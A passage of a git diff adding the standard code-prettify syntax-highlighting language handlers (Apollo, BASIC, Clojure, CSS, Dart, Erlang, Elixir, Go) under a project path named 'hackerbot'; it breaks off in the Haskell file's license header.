+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-apollo.js
@@ -0,0 +1,53 @@
+/**
+ * @license
+ * Copyright (C) 2009 Onno Hommes.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for the AGC/AEA Assembly Language as described
+ * at http://virtualagc.googlecode.com
+ * <p>
+ * This file could be used by goodle code to allow syntax highlight for
+ * Virtual AGC SVN repository or if you don't want to commonize
+ * the header for the agc/aea html assembly listing.
+ *
+ * @author ohommes@alumni.cmu.edu
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // A line comment that starts with ;
+         [PR['PR_COMMENT'],     /^#[^\r\n]*/, null, '#'],
+         // Whitespace
+         [PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // A double quoted, possibly multi-line, string.
+         [PR['PR_STRING'],      /^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/, null, '"']
+        ],
+        [
+         [PR['PR_KEYWORD'], /^(?:ADS|AD|AUG|BZF|BZMF|CAE|CAF|CA|CCS|COM|CS|DAS|DCA|DCOM|DCS|DDOUBL|DIM|DOUBLE|DTCB|DTCF|DV|DXCH|EDRUPT|EXTEND|INCR|INDEX|NDX|INHINT|LXCH|MASK|MSK|MP|MSU|NOOP|OVSK|QXCH|RAND|READ|RELINT|RESUME|RETURN|ROR|RXOR|SQUARE|SU|TCR|TCAA|OVSK|TCF|TC|TS|WAND|WOR|WRITE|XCH|XLQ|XXALQ|ZL|ZQ|ADD|ADZ|SUB|SUZ|MPY|MPR|MPZ|DVP|COM|ABS|CLA|CLZ|LDQ|STO|STQ|ALS|LLS|LRS|TRA|TSQ|TMI|TOV|AXT|TIX|DLY|INP|OUT)\s/,null],
+         [PR['PR_TYPE'], /^(?:-?GENADR|=MINUS|2BCADR|VN|BOF|MM|-?2CADR|-?[1-6]DNADR|ADRES|BBCON|[SE]?BANK\=?|BLOCK|BNKSUM|E?CADR|COUNT\*?|2?DEC\*?|-?DNCHAN|-?DNPTR|EQUALS|ERASE|MEMORY|2?OCT|REMADR|SETLOC|SUBRO|ORG|BSS|BES|SYN|EQU|DEFINE|END)\s/,null],
+         // A single quote possibly followed by a word that optionally ends with
+         // = ! or ?.
+         [PR['PR_LITERAL'],
+          /^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],
+         // Any word including labels that optionally ends with = ! or ?.
+         [PR['PR_PLAIN'],
+          /^-*(?:[!-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],
+         // A printable non-space non-special character
+         [PR['PR_PUNCTUATION'], /^[^\w\t\n\r \xA0()\"\\\';]+/]
+        ]),
+    ['apollo', 'agc', 'aea']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-basic.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-basic.js
new file mode 100644
index 000000000..d60cce31d
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-basic.js
@@ -0,0 +1,49 @@
+/**
+ * @license
+ * Copyright (C) 2013 Peter Kofler
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Contributed by peter dot kofler at code minus cop dot org
+
+/**
+ * @fileoverview
+ * Registers a language handler for Basic.
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-basic">(my BASIC code)</pre>
+ *
+ * @author peter dot kofler at code minus cop dot org
+ */
+
+PR.registerLangHandler(
+    PR.createSimpleLexer(
+        [ // shortcutStylePatterns
+          // "single-line-string"
+          [PR.PR_STRING,        /^(?:"(?:[^\\"\r\n]|\\.)*(?:"|$))/, null, '"'],
+          // Whitespace
+          [PR.PR_PLAIN,         /^\s+/, null, ' \r\n\t\xA0']
+        ],
+        [ // fallthroughStylePatterns
+          // A line comment that starts with REM
+          [PR.PR_COMMENT,       /^REM[^\r\n]*/, null],
+          [PR.PR_KEYWORD,       /^\b(?:AND|CLOSE|CLR|CMD|CONT|DATA|DEF ?FN|DIM|END|FOR|GET|GOSUB|GOTO|IF|INPUT|LET|LIST|LOAD|NEW|NEXT|NOT|ON|OPEN|OR|POKE|PRINT|READ|RESTORE|RETURN|RUN|SAVE|STEP|STOP|SYS|THEN|TO|VERIFY|WAIT)\b/, null],
+          [PR.PR_PLAIN,         /^[A-Z][A-Z0-9]?(?:\$|%)?/i, null],
+          // Literals .0, 0, 0.0 0E13
+          [PR.PR_LITERAL,       /^(?:\d+(?:\.\d*)?|\.\d+)(?:e[+\-]?\d+)?/i,  null, '0123456789'],
+          [PR.PR_PUNCTUATION,   /^.[^\s\w\.$%"]*/, null]
+          // [PR.PR_PUNCTUATION,   /^[-,:;!<>=\+^\/\*]+/]
+        ]),
+    ['basic','cbm']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-clj.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-clj.js
new file mode 100644
index 000000000..0758335f3
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-clj.js
@@ -0,0 +1,64 @@
+/**
+ * @license Copyright (C) 2011 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Clojure.
+ *
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-lisp">(my lisp code)</pre>
+ * The lang-cl class identifies the language as common lisp.
+ * This file supports the following language extensions:
+ *     lang-clj - Clojure
+ *
+ *
+ * I used lang-lisp.js as the basis for this adding the clojure specific
+ * keywords and syntax.
+ *
+ * "Name"    = 'Clojure'
+ * "Author"  = 'Rich Hickey'
+ * "Version" = '1.2'
+ * "About"   = 'Clojure is a lisp for the jvm with concurrency primitives and a richer set of types.'
+ *
+ *
+ * I used <a href="http://clojure.org/Reference">Clojure.org Reference</a> as
+ * the basis for the reserved word list.
+ *
+ *
+ * @author jwall@google.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // clojure has more paren types than minimal lisp.
+         ['opn',             /^[\(\{\[]+/, null, '([{'],
+         ['clo',             /^[\)\}\]]+/, null, ')]}'],
+         // A line comment that starts with ;
+         [PR['PR_COMMENT'],     /^;[^\r\n]*/, null, ';'],
+         // Whitespace
+         [PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // A double quoted, possibly multi-line, string.
+         [PR['PR_STRING'],      /^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/, null, '"']
+        ],
+        [
+         // clojure has a much larger set of keywords
+         [PR['PR_KEYWORD'],     /^(?:def|if|do|let|quote|var|fn|loop|recur|throw|try|monitor-enter|monitor-exit|defmacro|defn|defn-|macroexpand|macroexpand-1|for|doseq|dosync|dotimes|and|or|when|not|assert|doto|proxy|defstruct|first|rest|cons|defprotocol|deftype|defrecord|reify|defmulti|defmethod|meta|with-meta|ns|in-ns|create-ns|import|intern|refer|alias|namespace|resolve|ref|deref|refset|new|set!|memfn|to-array|into-array|aset|gen-class|reduce|map|filter|find|nil?|empty?|hash-map|hash-set|vec|vector|seq|flatten|reverse|assoc|dissoc|list|list?|disj|get|union|difference|intersection|extend|extend-type|extend-protocol|prn)\b/, null],
+         [PR['PR_TYPE'], /^:[0-9a-zA-Z\-]+/]
+        ]),
+    ['clj']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-css.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-css.js
new file mode 100644
index 000000000..c6f7c36b0
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-css.js
@@ -0,0 +1,160 @@
+/**
+ * @license
+ * Copyright (C) 2009 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for CSS.
+ *
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-css"></pre>
+ *
+ *
+ * http://www.w3.org/TR/CSS21/grammar.html Section G2 defines the lexical
+ * grammar.  This scheme does not recognize keywords containing escapes.
+ *
+ * @author mikesamuel@gmail.com
+ */
+
+// This file is a call to a function defined in prettify.js which defines a
+// lexical scanner for CSS and maps tokens to styles.
+
+// The call to PR['registerLangHandler'] is quoted so that Closure Compiler
+// will not rename the call so that this language extensions can be
+// compiled/minified separately from one another.  Other symbols defined in
+// prettify.js are similarly quoted.
+
+// The call is structured thus:
+// PR['registerLangHandler'](
+//    PR['createSimpleLexer'](
+//        shortcutPatterns,
+//        fallThroughPatterns),
+//    [languageId0, ..., languageIdN])
+
+// Langugage IDs
+// =============
+// The language IDs are typically the file extensions of source files for
+// that language so that users can syntax highlight arbitrary files based
+// on just the extension.  This is heuristic, but works pretty well in
+// practice.
+
+// Patterns
+// ========
+// Lexers are typically implemented as a set of regular expressions.
+// The SimpleLexer function takes regular expressions, styles, and some
+// pragma-info and produces a lexer.  A token description looks like
+//   [STYLE_NAME, /regular-expression/, pragmas]
+
+// Initially, simple lexer's inner loop looked like:
+
+//    while sourceCode is not empty:
+//      try each regular expression in order until one matches
+//      remove the matched portion from sourceCode
+
+// This was really slow for large files because some JS interpreters
+// do a buffer copy on the matched portion which is O(n*n)
+
+// The current loop now looks like
+
+//    1. use js-modules/combinePrefixPatterns.js to 
+//       combine all regular expressions into one 
+//    2. use a single global regular expresion match to extract all tokens
+//    3. for each token try regular expressions in order until one matches it
+//       and classify it using the associated style
+
+// This is a lot more efficient but it does mean that lookahead and lookbehind
+// can't be used across boundaries to classify tokens.
+
+// Sometimes we need lookahead and lookbehind and sometimes we want to handle
+// embedded language -- JavaScript or CSS embedded in HTML, or inline assembly
+// in C.
+
+// If a particular pattern has a numbered group, and its style pattern starts
+// with "lang-" as in
+//    ['lang-js', /<script>(.*?)<\/script>/]
+// then the token classification step breaks the token into pieces.
+// Group 1 is re-parsed using the language handler for "lang-js", and the
+// surrounding portions are reclassified using the current language handler.
+// This mechanism gives us both lookahead, lookbehind, and language embedding.
+
+// Shortcut Patterns
+// =================
+// A shortcut pattern is one that is tried before other patterns if the first
+// character in the token is in the string of characters.
+// This very effectively lets us make quick correct decisions for common token
+// types.
+
+// All other patterns are fall-through patterns.
+
+
+
+// The comments inline below refer to productions in the CSS specification's
+// lexical grammar.  See link above.
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        // Shortcut patterns.
+        [
+         // The space production <s>
+         [PR['PR_PLAIN'],       /^[ \t\r\n\f]+/, null, ' \t\r\n\f']
+        ],
+        // Fall-through patterns.
+        [
+         // Quoted strings.  <string1> and <string2>
+         [PR['PR_STRING'],
+          /^\"(?:[^\n\r\f\\\"]|\\(?:\r\n?|\n|\f)|\\[\s\S])*\"/, null],
+         [PR['PR_STRING'],
+          /^\'(?:[^\n\r\f\\\']|\\(?:\r\n?|\n|\f)|\\[\s\S])*\'/, null],
+         ['lang-css-str', /^url\(([^\)\"\']+)\)/i],
+         [PR['PR_KEYWORD'],
+          /^(?:url|rgb|\!important|@import|@page|@media|@charset|inherit)(?=[^\-\w]|$)/i,
+          null],
+         // A property name -- an identifier followed by a colon.
+         ['lang-css-kw', /^(-?(?:[_a-z]|(?:\\[0-9a-f]+ ?))(?:[_a-z0-9\-]|\\(?:\\[0-9a-f]+ ?))*)\s*:/i],
+         // A C style block comment.  The <comment> production.
+         [PR['PR_COMMENT'], /^\/\*[^*]*\*+(?:[^\/*][^*]*\*+)*\//],
+         // Escaping text spans
+         [PR['PR_COMMENT'], /^(?:<!--|-->)/],
+         // A number possibly containing a suffix.
+         [PR['PR_LITERAL'], /^(?:\d+|\d*\.\d+)(?:%|[a-z]+)?/i],
+         // A hex color
+         [PR['PR_LITERAL'], /^#(?:[0-9a-f]{3}){1,2}\b/i],
+         // An identifier
+         [PR['PR_PLAIN'],
+          /^-?(?:[_a-z]|(?:\\[\da-f]+ ?))(?:[_a-z\d\-]|\\(?:\\[\da-f]+ ?))*/i],
+         // A run of punctuation
+         [PR['PR_PUNCTUATION'], /^[^\s\w\'\"]+/]
+        ]),
+    ['css']);
+// Above we use embedded languages to highlight property names (identifiers
+// followed by a colon) differently from identifiers in values.
+PR['registerLangHandler'](
+    PR['createSimpleLexer']([],
+        [
+         [PR['PR_KEYWORD'],
+          /^-?(?:[_a-z]|(?:\\[\da-f]+ ?))(?:[_a-z\d\-]|\\(?:\\[\da-f]+ ?))*/i]
+        ]),
+    ['css-kw']);
+// The content of an unquoted URL literal like url(http://foo/img.png) should
+// be colored as string content.  This language handler is used above in the
+// URL production to do so.
+PR['registerLangHandler'](
+    PR['createSimpleLexer']([],
+        [
+         [PR['PR_STRING'], /^[^\)\"\']+/]
+        ]),
+    ['css-str']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-dart.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-dart.js
new file mode 100644
index 000000000..5787ae30a
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-dart.js
@@ -0,0 +1,92 @@
+/**
+ * @license
+ * Copyright (C) 2013 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler Dart.
+ * Loosely structured based on the DartLexer in Pygments: http://pygments.org/.
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-dart">(Dart code)</pre>
+ *
+ * @author armstrong.timothy@gmail.com
+ */
+
+PR['registerLangHandler'](
+  PR['createSimpleLexer'](
+    [
+      // Whitespace.
+      [PR['PR_PLAIN'], /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0']
+    ],
+    [
+      // Script tag.
+      [PR['PR_COMMENT'], /^#!(?:.*)/],
+
+      // `import`, `library`, `part of`, `part`, `as`, `show`, and `hide`
+      // keywords.
+      [PR['PR_KEYWORD'], /^\b(?:import|library|part of|part|as|show|hide)\b/i],
+
+      // Single-line comments.
+      [PR['PR_COMMENT'], /^\/\/(?:.*)/],
+
+      // Multiline comments.
+      [PR['PR_COMMENT'], /^\/\*[^*]*\*+(?:[^\/*][^*]*\*+)*\//], // */
+
+      // `class` and `interface` keywords.
+      [PR['PR_KEYWORD'], /^\b(?:class|interface)\b/i],
+
+      // General keywords.
+      [PR['PR_KEYWORD'], /^\b(?:assert|async|await|break|case|catch|continue|default|do|else|finally|for|if|in|is|new|return|super|switch|sync|this|throw|try|while)\b/i],
+
+      // Declaration keywords.
+      [PR['PR_KEYWORD'], /^\b(?:abstract|const|extends|factory|final|get|implements|native|operator|set|static|typedef|var)\b/i],
+
+      // Keywords for types.
+      [PR['PR_TYPE'], /^\b(?:bool|double|Dynamic|int|num|Object|String|void)\b/i],
+
+      // Keywords for constants.
+      [PR['PR_KEYWORD'], /^\b(?:false|null|true)\b/i],
+
+      // Multiline strings, single- and double-quoted.
+      [PR['PR_STRING'], /^r?[\']{3}[\s|\S]*?[^\\][\']{3}/],
+      [PR['PR_STRING'], /^r?[\"]{3}[\s|\S]*?[^\\][\"]{3}/],
+
+      // Normal and raw strings, single- and double-quoted.
+      [PR['PR_STRING'], /^r?\'(\'|(?:[^\n\r\f])*?[^\\]\')/],
+      [PR['PR_STRING'], /^r?\"(\"|(?:[^\n\r\f])*?[^\\]\")/],
+
+      // Types are capitalized by convention.
+      [PR['PR_TYPE'], /^[A-Z]\w*/],
+
+      // Identifiers.
+      [PR['PR_PLAIN'], /^[a-z_$][a-z0-9_]*/i],
+
+      // Operators.
+      [PR['PR_PUNCTUATION'], /^[~!%^&*+=|?:<>/-]/],
+
+      // Hex numbers.
+      [PR['PR_LITERAL'], /^\b0x[0-9a-f]+/i],
+
+      // Decimal numbers.
+      [PR['PR_LITERAL'], /^\b\d+(?:\.\d*)?(?:e[+-]?\d+)?/i],
+      [PR['PR_LITERAL'], /^\b\.\d+(?:e[+-]?\d+)?/i],
+
+      // Punctuation.
+      [PR['PR_PUNCTUATION'], /^[(){}\[\],.;]/]
+    ]),
+  ['dart']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-erlang.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-erlang.js
new file mode 100644
index 000000000..d81f5a310
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-erlang.js
@@ -0,0 +1,94 @@
+/**
+ * @license
+ * Copyright (C) 2013 Andrew Allen
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Erlang.
+ *
+ * Derived from https://raw.github.com/erlang/otp/dev/lib/compiler/src/core_parse.yrl
+ * Modified from Mike Samuel's Haskell plugin for google-code-prettify
+ *
+ * @author achew22@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // Whitespace
+         // whitechar    ->    newline | vertab | space | tab | uniWhite
+         // newline      ->    return linefeed | return | linefeed | formfeed
+         [PR['PR_PLAIN'],       /^[\t\n\x0B\x0C\r ]+/, null, '\t\n\x0B\x0C\r '],
+         // Single line double-quoted strings.
+         [PR['PR_STRING'],      /^\"(?:[^\"\\\n\x0C\r]|\\[\s\S])*(?:\"|$)/,
+          null, '"'],
+         
+         // Handle atoms
+         [PR['PR_LITERAL'],      /^[a-z][a-zA-Z0-9_]*/],
+         // Handle single quoted atoms
+         [PR['PR_LITERAL'],      /^\'(?:[^\'\\\n\x0C\r]|\\[^&])+\'?/,
+          null, "'"],
+         
+         // Handle macros. Just to be extra clear on this one, it detects the ?
+         // then uses the regexp to end it so be very careful about matching
+         // all the terminal elements
+         [PR['PR_LITERAL'],      /^\?[^ \t\n({]+/, null, "?"],
+
+          
+         
+         // decimal      ->    digit{digit}
+         // octal        ->    octit{octit}
+         // hexadecimal  ->    hexit{hexit}
+         // integer      ->    decimal
+         //               |    0o octal | 0O octal
+         //               |    0x hexadecimal | 0X hexadecimal
+         // float        ->    decimal . decimal [exponent]
+         //               |    decimal exponent
+         // exponent     ->    (e | E) [+ | -] decimal
+         [PR['PR_LITERAL'],
+          /^(?:0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+\-]?\d+)?)/i,
+          null, '0123456789']
+        ],
+        [
+         // TODO: catch @declarations inside comments
+
+         // Comments in erlang are started with % and go till a newline
+         [PR['PR_COMMENT'], /^%[^\n]*/],
+
+         // Catch macros
+         //[PR['PR_TAG'], /?[^( \n)]+/],
+
+         /**
+          * %% Keywords (atoms are assumed to always be single-quoted).
+          * 'module' 'attributes' 'do' 'let' 'in' 'letrec'
+          * 'apply' 'call' 'primop'
+          * 'case' 'of' 'end' 'when' 'fun' 'try' 'catch' 'receive' 'after'
+          */
+         [PR['PR_KEYWORD'], /^(?:module|attributes|do|let|in|letrec|apply|call|primop|case|of|end|when|fun|try|catch|receive|after|char|integer|float,atom,string,var)\b/],
+         
+         /**
+          * Catch definitions (usually defined at the top of the file)
+          * Anything that starts -something
+          */
+         [PR['PR_KEYWORD'], /^-[a-z_]+/],
+
+         // Catch variables
+         [PR['PR_TYPE'], /^[A-Z_][a-zA-Z0-9_]*/],
+
+         // matches the symbol production
+         [PR['PR_PUNCTUATION'], /^[.,;]/]
+        ]),
+    ['erlang', 'erl']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-ex.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-ex.js
new file mode 100644
index 000000000..9d0aa6459
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-ex.js
@@ -0,0 +1,82 @@
+/**
+ * @license
+ * Copyright (C) 2017 Jacek Królikowski
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Elixir.
+ *
+ * @author nietaki@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         [PR['PR_PLAIN'], /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // # comments
+         [PR['PR_COMMENT'], /^#.*/, null, '#'],
+         // a (possibly multiline) charlist
+         [PR['PR_LITERAL'], /^'(?:[^'\\]|\\(?:.|\n|\r))*'?/, null, '\''],
+         // @attributes
+         [PR['PR_ATTRIB_NAME'], /^@\w+/, null, '@'],
+         [PR['PR_PUNCTUATION'], /^[!%&()*+,\-;<=>?\[\\\]^{|}]+/, null,
+          '!%&()*+,-;<=>?[\\]^{|}'],
+         // Borrowed from lang-erlang.js:
+         [PR['PR_LITERAL'],
+          /^(?:0o[0-7](?:[0-7]|_[0-7])*|0x[\da-fA-F](?:[\da-fA-F]|_[\da-fA-F])*|\d(?:\d|_\d)*(?:\.\d(?:\d|_\d)*)?(?:[eE][+\-]?\d(?:\d|_\d)*)?)/,
+          null, '0123456789']
+        ],
+        [
+         // the iex> prompt for interactive examples
+         [PR['PR_ATTRIB_NAME'], /^iex(?:\(\d+\))?> /],
+         // special case for binaries, so that they don't get presented like atoms
+         [PR['PR_PUNCTUATION'], /^::/],
+         // atoms - :__a_word or :"colon followed by a string"
+         [PR['PR_LITERAL'], /^:(?:\w+[\!\?\@]?|"(?:[^"\\]|\\.)*"?)/],
+         // compile-time information
+         [PR['PR_ATTRIB_NAME'], /^(?:__(?:CALLER|ENV|MODULE|DIR)__)/],
+         // keywords
+         [PR['PR_KEYWORD'],
+          /^(?:alias|case|catch|def(?:delegate|exception|impl|macrop?|module|overridable|p?|protocol|struct)|do|else|end|fn|for|if|in|import|quote|raise|require|rescue|super|throw|try|unless|unquote(?:_splicing)?|use|when|with|yield)\b/],
+         [PR['PR_LITERAL'], /^(?:true|false|nil)\b/],
+         // atoms as keyword list keys
+         // NOTE: this does also handle the %{"I'm an atom": :foo} case
+         //
+         // Contains negative lookahead to handle <<foo::binary>>
+         [PR['PR_LITERAL'], /^(?:\w+[\!\?\@]?|"(?:[^"\\]|\\.)*"):(?!:)/],
+         // heredoc: triple double-quoted multi-line string.
+         //
+         // NOTE: the opening """ needs to be followed by a newline
+         [PR['PR_STRING'],
+          /^"""\s*(\r|\n)+(?:""?(?!")|[^\\"]|\\(?:.|\n|\r))*"{0,3}/],
+         // A double-quoted multi-line string
+         [PR['PR_STRING'],
+          /^"(?:[^"\\]|\\(?:.|\n|\r))*"?(?!")/],
+         // types
+         [PR['PR_TYPE'], /^[A-Z]\w*/],
+         // variables not meant to be used or private functions
+         [PR['PR_COMMENT'], /^_\w*/],
+         // plain: variables, functions, ...
+         [PR['PR_PLAIN'], /^[$a-z]\w*[\!\?]?/],
+         // sigils with the same starting and ending character.
+         // Key part: X(?:[^X\r\n\\]|\\.)+X where X is the sigil character
+         [PR['PR_ATTRIB_VALUE'], /^~[A-Z](?:\/(?:[^\/\r\n\\]|\\.)+\/|\|(?:[^\|\r\n\\]|\\.)+\||"(?:[^"\r\n\\]|\\.)+"|'(?:[^'\r\n\\]|\\.)+')[A-Z]*/i],
+         // sigils with a different starting and ending character.
+         // Key part: X(?:[^Y\r\n\\]|\\.)+Y where X and Y are the starting and ending characters
+         [PR['PR_ATTRIB_VALUE'], /^~[A-Z](?:\((?:[^\)\r\n\\]|\\.)+\)|\[(?:[^\]\r\n\\]|\\.)+\]|\{(?:[^\}\r\n\\]|\\.)+\}|\<(?:[^\>\r\n\\]|\\.)+\>)[A-Z]*/i],
+         [PR['PR_PUNCTUATION'], /^(?:\.+|\/|[:~])/]
+        ]),
+    ['ex','exs']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-go.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-go.js
new file mode 100644
index 000000000..a48a4b581
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-go.js
@@ -0,0 +1,59 @@
+/**
+ * @license
+ * Copyright (C) 2010 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for the Go language..
+ * <p>
+ * Based on the lexical grammar at 
+ * http://golang.org/doc/go_spec.html#Lexical_elements
+ * <p>
+ * Go uses a minimal style for highlighting so the below does not distinguish
+ * strings, keywords, literals, etc. by design.
+ * From a discussion with the Go designers:
+ * <pre>
+ * On Thursday, July 22, 2010, Mike Samuel <...> wrote:
+ * > On Thu, Jul 22, 2010, Rob 'Commander' Pike <...> wrote:
+ * >> Personally, I would vote for the subdued style godoc presents at http://golang.org
+ * >>
+ * >> Not as fancy as some like, but a case can be made it's the official style.
+ * >> If people want more colors, I wouldn't fight too hard, in the interest of
+ * >> encouragement through familiarity, but even then I would ask to shy away
+ * >> from technicolor starbursts.
+ * >
+ * > Like http://golang.org/pkg/go/scanner/ where comments are blue and all
+ * > other content is black?  I can do that.
+ * </pre>
+ *
+ * @author mikesamuel@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // Whitespace is made up of spaces, tabs and newline characters.
+         [PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // Not escaped as a string.  See note on minimalism above.
+         [PR['PR_PLAIN'],       /^(?:\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)|\'(?:[^\'\\]|\\[\s\S])+(?:\'|$)|`[^`]*(?:`|$))/, null, '"\'']
+        ],
+        [
+         // Block comments are delimited by /* and */.
+         // Single-line comments begin with // and extend to the end of a line.
+         [PR['PR_COMMENT'],     /^(?:\/\/[^\r\n]*|\/\*[\s\S]*?\*\/)/],
+         [PR['PR_PLAIN'],       /^(?:[^\/\"\'`]|\/(?![\/\*]))+/i]
+        ]),
+    ['go']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-hs.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-hs.js
new file mode 100644
index 000000000..883c265b8
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-hs.js
@@ -0,0 +1,102 @@
+/**
+ * @license
+ * Copyright (C) 2009 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
